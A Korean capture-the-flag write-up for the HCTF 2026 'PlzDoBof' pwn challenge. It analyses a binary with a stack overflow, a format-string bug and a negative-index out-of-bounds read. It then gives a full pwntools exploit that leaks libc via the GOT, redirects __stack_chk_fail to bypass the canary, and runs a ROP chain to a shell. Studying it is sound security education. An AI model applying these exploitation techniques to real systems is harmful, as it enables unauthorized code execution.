[Writeup][HCTF 2026] PlzDoBof

checksec์œผ๋กœ ๋ฐ”์ด๋„ˆ๋ฆฌ์— ์ ์šฉ๋œ ๋ณดํ˜ธ๊ธฐ๋ฒ•์„ ๊ด€์ฐฐํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

checksec.png

์ด๋กœ๋ถ€ํ„ฐ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์‚ฌ์‹ค์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

  • Partial RELRO๊ฐ€ ์ ์šฉ๋˜์–ด ์žˆ๊ธฐ ๋•Œ๋ฌธ์— GOT o.w๊ฐ€ ๊ฐ€๋Šฅํ•˜๋‹ค.
  • Canary๊ฐ€ ์žˆ๊ธฐ ๋•Œ๋ฌธ์—, sbof๋ฅผ ํ†ตํ•ด ์ต์Šคํ•˜๋ ค๋ฉด ์นด๋‚˜๋ฆฌ ์œ ์ถœ์ด ํ•„์š”ํ•˜๋‹ค.
  • PIE๊ฐ€ ๊ฑธ๋ ค ์žˆ์ง€ ์•Š์•„ ๋ฐ”์ด๋„ˆ๋ฆฌ์— ์žˆ๋Š” ๊ฐ€์ ฏ์ด๋‚˜ ํ•จ์ˆ˜์˜ ์‚ฌ์šฉ์ด ์šฉ์ดํ•˜๋‹ค.

1. ์ทจ์•ฝ์  ๋ถ„์„

IDA๋กœ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์‚ดํŽด๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋Œ€๋†“๊ณ  sbof์™€ fsb๋ฅผ ์ค€ ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

int __fastcall main(int argc, const char **argv, const char **envp)
{
    char format[32]; // [rsp+10h] [rbp-230h] BYREF
    char s[520]; // [rsp+30h] [rbp-210h] BYREF
    ...
    puts("How was it? Thank you for using the system!");
    puts("Please, leave a review!");
    printf("Review: ");
    gets(s);
    printf("Name : ");
    gets(format);
    printf("Thank you for your review, ");
    printf(format);
    return 0;
}

๋”๊ตฐ๋‹ค๋‚˜ fsb๋ฅผ ์œ„ํ•œ format์ด s๋ณด๋‹ค ์œ„์— ์žˆ๊ธฐ ๋•Œ๋ฌธ์—, fsb๋Š” fsb๋Œ€๋กœ ์‚ฌ์šฉํ•˜๋ฉด์„œ s๋ฅผ ํ†ตํ•ด sbof๊ฐ€ ๊ฐ€๋Šฅํ•˜๋‹ค. (๋งŒ์•ฝ ๋‘˜์˜ ์œ„์น˜๊ฐ€ ๋ฐ˜๋Œ€์˜€๋‹ค๋ฉด ์กฐ๊ธˆ ๊ณจ์น˜์•„ํŒŒ์งˆ ๊ฒƒ์ด๋‹ค.)

๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์กฐ๊ธˆ ๋” ์‚ดํŽด๋ณด๋‹ค ๋ณด๋ฉด, ๋‹ค์Œ๊ณผ ๊ฐ™์ด show_single_user() ํ•จ์ˆ˜์—์„œ๋„ oob๋ฅผ ๋ฐœ๊ฒฌํ•  ์ˆ˜ ์žˆ๋‹ค.

unsigned __int64 show_single_user()
{
    int v1; // [rsp+Ch] [rbp-14h]
    char s[8]; // [rsp+10h] [rbp-10h] BYREF

    printf("Enter user index (0-29): ");
    fgets(s, 8, stdin);
    v1 = atoi(s);
    if ( v1 <= 29 )
    {
        if ( user_list[v1].name[0] ) 
            show_user(&user_list[v1]);
        else
            puts("User does not exist!");
    }
    else
    {
        puts("Don't Do OOB!");
    }
}

๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ธ๋ฑ์Šค๋กœ ์“ฐ์ด๋Š” v1์˜ ์ƒํ•œ๋งŒ ๊ฒ€์‚ฌํ•˜๋Š”๋ฐ, v1์€ intํ˜•์ด๋ผ ์Œ์˜ ๊ฐ’์„ ๊ฐ€์งˆ ์ˆ˜ ์žˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์Œ์˜ ๊ฐ’์— ๋Œ€ํ•œ ๊ฒ€์ฆ์ด ๋ˆ„๋ฝ๋๊ธฐ ๋•Œ๋ฌธ์— ์ „์—ญ ๋ฐฐ์—ด์ธ user_list ๋’ค์ชฝ์˜ ๊ฐ’์— ๋Œ€ํ•ด user_list[v1].name[0]์ด 0๋งŒ ์•„๋‹ˆ๋ผ๋ฉด ์ฃผ๋ณ€ ๊ฐ’๋“ค์„ ์ฝ์–ด๋‚ผ ์ˆ˜ ์žˆ๋‹ค. ๋”ฐ๋ผ์„œ user_list ๋’ค์ชฝ์œผ๋กœ ๋ฌด์Šจ ๊ฐ’์ด ์žˆ๋Š”์ง€ ๋™์  ๋ถ„์„์„ ํ†ตํ•ด ์•Œ์•„๋‚ด์•ผ ํ•œ๋‹ค.

GDB๋ฅผ ์‚ฌ์šฉํ•ด user_list ๋’ค์ชฝ์˜ ๊ฐ’์„ ์‚ดํŽด๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

before_userlist.png

๋†€๋ž๊ฒŒ๋„ got์˜์—ญ์ด๋‹ค! ์ด๋ฅผ ์ž˜ ์‚ฌ์šฉํ•˜๋ฉด libc leak์„ ๊ต‰์žฅํžˆ ์‰ฝ๊ฒŒ ํ•  ์ˆ˜ ์žˆ๋‹ค.

2. ์ต์Šคํ”Œ๋กœ์ž‡

2-1. libc leak

์œ„์—์„œ ๋งํ•œ ๋ฐฉ๋ฒ•์„ ์‚ฌ์šฉํ•˜๋ฉด ๊ต‰์žฅํžˆ ์‰ฝ๊ฒŒ libc leak์ด ๊ฐ€๋Šฅํ•˜๋‹ค. ๋‚œ -3์ผ ๋•Œ ๋‚˜์˜ค๋Š” fgets()์˜ got์„ ์‚ฌ์šฉํ–ˆ๋‹ค.

def show_user(idx):
    p.sendlineafter(b"> ", b'2')
    p.sendlineafter(b": ", str(idx).encode())

    p.recvuntil(b"Name: ")
    try:
        name = p.recvline().strip().decode()
    except:
        name = None

    p.recvuntil(b"Age: ")
    try:
        age = p.recvline().strip().decode()
    except:
        age = None

    p.recvuntil(b"Introduction: ")
    try:
        introduction = p.recvline().strip().decode()
    except:
        introduction = None

    print(name, age, introduction)
    
    return name, age, introduction

_, fgets_got, _ = show_user(-3)
fgets_got = int(fgets_got)
libc.address = fgets_got - 0x7f380

์ด์ œ libc์˜ ๊ฐ€์ ฏ๋“ค๋„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋˜์—ˆ๋‹ค.

2-2. rop (w/ canary bypass)

์ด์ œ rop๋ฅผ ํ†ตํ•ด ์‰˜์„ ์—ด์–ด์•ผ ํ•˜๋Š”๋ฐ, ๋ฌธ์ œ๋Š” fsb๊ฐ€ ํ•œ ๋ฒˆ๋งŒ ๊ฐ€๋Šฅํ•˜๊ณ  sbof์™€ fsb๊ฐ€ ๋ถ™์–ด์žˆ๋‹ค๋Š” ๊ฒƒ์ด๋‹ค. ๋”ฐ๋ผ์„œ fsb๋กœ ์นด๋‚˜๋ฆฌ๋ฅผ ์œ ์ถœํ•œ ํ›„ sbof๋กœ rop chain์„ ๋งŒ๋“œ๋Š” ๊ฒƒ์€ ๋ถˆ๊ฐ€๋Šฅํ•˜๊ณ , ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์„ ์ƒ๊ฐํ•ด์•ผ ํ•œ๋‹ค.

์ด๋ฅผ ์šฐํšŒํ•˜๊ธฐ ์œ„ํ•ด ์ฒซ ๋ฒˆ์งธ๋กœ ์ƒ๊ฐํ•œ ๋ฐฉ๋ฒ•์ด ์›๋ณธ ์นด๋‚˜๋ฆฌ๊ฐ’ ์ž์ฒด๋ฅผ ๋ฐ”๊ฟ”๋ฒ„๋ฆฌ๋Š” ๊ฒƒ์ด๋‹ค. (์ตœ๊ทผ์— ์นด๋‚˜๋ฆฌ ๊ด€๋ จ ํ”„๋กœ์ ํŠธ๋ฅผ ํ–ˆ๋Š”๋ฐ, ์ด๊ฒŒ ์นด๋‚˜๋ฆฌ ๊ฐ’ ์ž์ฒด๋ฅผ ๋ณ€์กฐํ•˜๋Š”๊ฑฐ๋ž‘ ๊ด€๋ จ์ด ์žˆ์–ด์„œ ์ด ์ƒ๊ฐ์ด ๊ฐ€์žฅ ๋จผ์ € ๋‚ฌ๋˜ ๊ฒƒ ๊ฐ™๋‹ค.) ์‹ค์ œ๋กœ libc base์™€ TLS๊นŒ์ง€์˜ ์˜คํ”„์…‹์€ ํ•ญ์ƒ ์ผ์ •ํ•˜๊ธฐ ๋•Œ๋ฌธ์—, libc base๋งŒ ์•ˆ๋‹ค๋ฉด TLS์˜ ์ฃผ์†Œ๋ฅผ ์•Œ ์ˆ˜ ์žˆ๊ณ , ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์นด๋‚˜๋ฆฌ ๊ฐ’ ์ž์ฒด๋ฅผ ๋ณ€๊ฒฝํ•ด๋ฒ„๋ฆด ์ˆ˜ ์žˆ๋‹ค.

payload = fmtstr_payload(8,{libc.address + [canary_offset]: 0xdeadbeefcafebabe})

ropchain = b"A" * 0x210
ropchain += p64(0xdeadbeefcafebabe)  # canary
...

p.sendlineafter(b"> ", b'5')
p.sendlineafter(b": ", ropchain)
p.sendlineafter(b": ", payload)

๊ทธ๋Ÿฌ๋‚˜ fsb์—์„œ ์›ํ•˜๋Š” ์ฃผ์†Œ์— ๊ฐ’์ด ์“ฐ์ด๋Š” ๊ฑด printf() ํ•จ์ˆ˜๊ฐ€ ๋ฆฌํ„ด๋˜๊ธฐ ์ „์— ์™„๋ฃŒ๋˜๊ธฐ ๋•Œ๋ฌธ์—, ์ด๋ ‡๊ฒŒ ํ•˜๋ฉด printf()๊ฐ€ ๋ฆฌํ„ดํ•˜๋ฉฐ ํ•˜๋Š” ์นด๋‚˜๋ฆฌ ๊ฒ€์‚ฌ์—์„œ ํ„ฐ์ ธ๋ฒ„๋ฆฌ๊ฒŒ ๋œ๋‹ค. ์—ฌ๊ธฐ์„œ ๊ณ ๋ฏผํ•˜๋‹ค๊ฐ€, got์—์„œ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ํ•จ์ˆ˜๋ฅผ ๋ดค๋‹ค.

stack_chk_fail_got.png

์ƒ๊ฐํ•ด ๋ณด๋ฉด __stack_chk_fail()๋„ ๊ฒฝ๊ตญ libc์— ์กด์žฌํ•˜๋Š” ํ•จ์ˆ˜์ด๊ณ , ๋”ฐ๋ผ์„œ got๊ฐ€ ์กด์žฌํ•  ์ˆ˜๋ฐ–์— ์—†๋‹ค. ๊ทธ๋ ‡๋‹ค๋ฉด __stack_chk_fail()์˜ got๋ฅผ leave; ret์œผ๋กœ ๋ฎ๋Š”๋‹ค๋ฉด, ํ”„๋กœ๊ทธ๋žจ์ด ์ข…๋ฃŒ๋˜์ง€ ์•Š๊ณ  ๊ณ„์† ์‹คํ–‰๋˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ๋‹ค.1 ์–ด์ฐจํ”ผ ๋ฐ”์ด๋„ˆ๋ฆฌ์— PIE๊ฐ€ ์ ์šฉ๋˜์–ด ์žˆ์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์—, main()์˜ leave; ret์„ ๊ทธ๋Œ€๋กœ ์‚ฌ์šฉํ•ด์คฌ๋‹ค.

payload = fmtstr_payload(8,{e.got["__stack_chk_fail"]: 0x401A03})

ropchain = b"A" * 0x210
ropchain += p64(0xdeadbeefcafebabe)  # ์ด์ œ ์•„๋ฌด๋Ÿฐ ๊ฐ’์ด๋‚˜ ์ƒ๊ด€์—†๋‹ค!
ropchain += p64(pop_rdi_ret)
ropchain += p64(binsh)
ropchain += p64(0x0000000000029139 + libc.address)  # ret
ropchain += p64(libc.symbols["system"])
ropchain += p64(libc.symbols["system"])
ropchain += p64(libc.symbols["system"])
ropchain += p64(libc.symbols["system"])
ropchain += p64(libc.symbols["system"])
ropchain += p64(libc.symbols["system"])
ropchain += p64(libc.symbols["system"])

p.sendlineafter(b"> ", b'5')
p.sendlineafter(b": ", ropchain)
p.sendlineafter(b": ", payload)
p.interactive()

์ „์ฒด ์ต์Šคํ”Œ๋กœ์ž‡ ์ฝ”๋“œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

ํŽผ์น˜๊ธฐ/์ ‘๊ธฐ
from pwn import *

# context.log_level = "debug"
# context.bits = 64
context.arch = "amd64"
# context.binary = "./chal"
context.terminal=['tmux', 'splitw', '-h']

e = ELF("./chal")
p = e.process()
# p = remote("** REDICATED **", 33333)
libc = ELF("./libc.so.6")

def show_user(idx):
p.sendlineafter(b"> ", b'2')
p.sendlineafter(b": ", str(idx).encode())

    p.recvuntil(b"Name: ")
    try:
        name = p.recvline().strip().decode()
    except:
        name = None

    p.recvuntil(b"Age: ")
    try:
        age = p.recvline().strip().decode()
    except:
        age = None

    p.recvuntil(b"Introduction: ")
    try:
        introduction = p.recvline().strip().decode()
    except:
        introduction = None

    print(name, age, introduction)

    return name, age, introduction

_, fgets_got, _ = show_user(-3)
fgets_got = int(fgets_got)
libc.address = fgets_got - 0x7f380
canary_addr = libc.address - 0x2898

info(f"printf_got: {hex(fgets_got)}")
info(f"libc base: {hex(libc.address)}")
info(f"canary at: {hex(canary_addr)}")

binsh = libc.address + 0x1d8678
pop_rdi_ret = libc.address + 0x000000000002a3e5

payload = fmtstr_payload(8,{e.got["__stack_chk_fail"]: 0x401A03})

ropchain = b"A" * 0x210
ropchain += p64(0xdeadbeefcafebabe)
ropchain += p64(pop_rdi_ret)
ropchain += p64(binsh)
ropchain += p64(0x0000000000029139 + libc.address)
ropchain += p64(libc.symbols["system"])
ropchain += p64(libc.symbols["system"])
ropchain += p64(libc.symbols["system"])
ropchain += p64(libc.symbols["system"])
ropchain += p64(libc.symbols["system"])
ropchain += p64(libc.symbols["system"])
ropchain += p64(libc.symbols["system"])

p.sendlineafter(b"> ", b'5')
p.sendlineafter(b": ", ropchain)
# gdb.attach(p)
p.sendlineafter(b": ", payload)

p.interactive()

์‹คํ–‰ํ•˜๋ฉด ์‰˜์„ ์–ป์„ ์ˆ˜ ์žˆ๋‹ค.

flag.png
  1. ๋ฌผ๋ก  call ์ธ์ŠคํŠธ๋Ÿญ์…˜์˜ ์˜ํ–ฅ์œผ๋กœ retaddr์ด stack์— push๋˜๊ธด ํ•˜์ง€๋งŒ, stack frame ํ˜•์„ฑ ์ „์— leave; ret๊ฐ€ ํ˜ธ์ถœ๋˜๋ฏ€๋กœ ์•„๋ฌด ์ƒ๊ด€ ์—†๋‹ค. leave๊ฐ€ mov rsp, rbp; pop rbp๋ผ๋Š” ์ ์„ ๊ธฐ์–ตํ•˜์ž.ย 

Categories:

Updated:

Leave a comment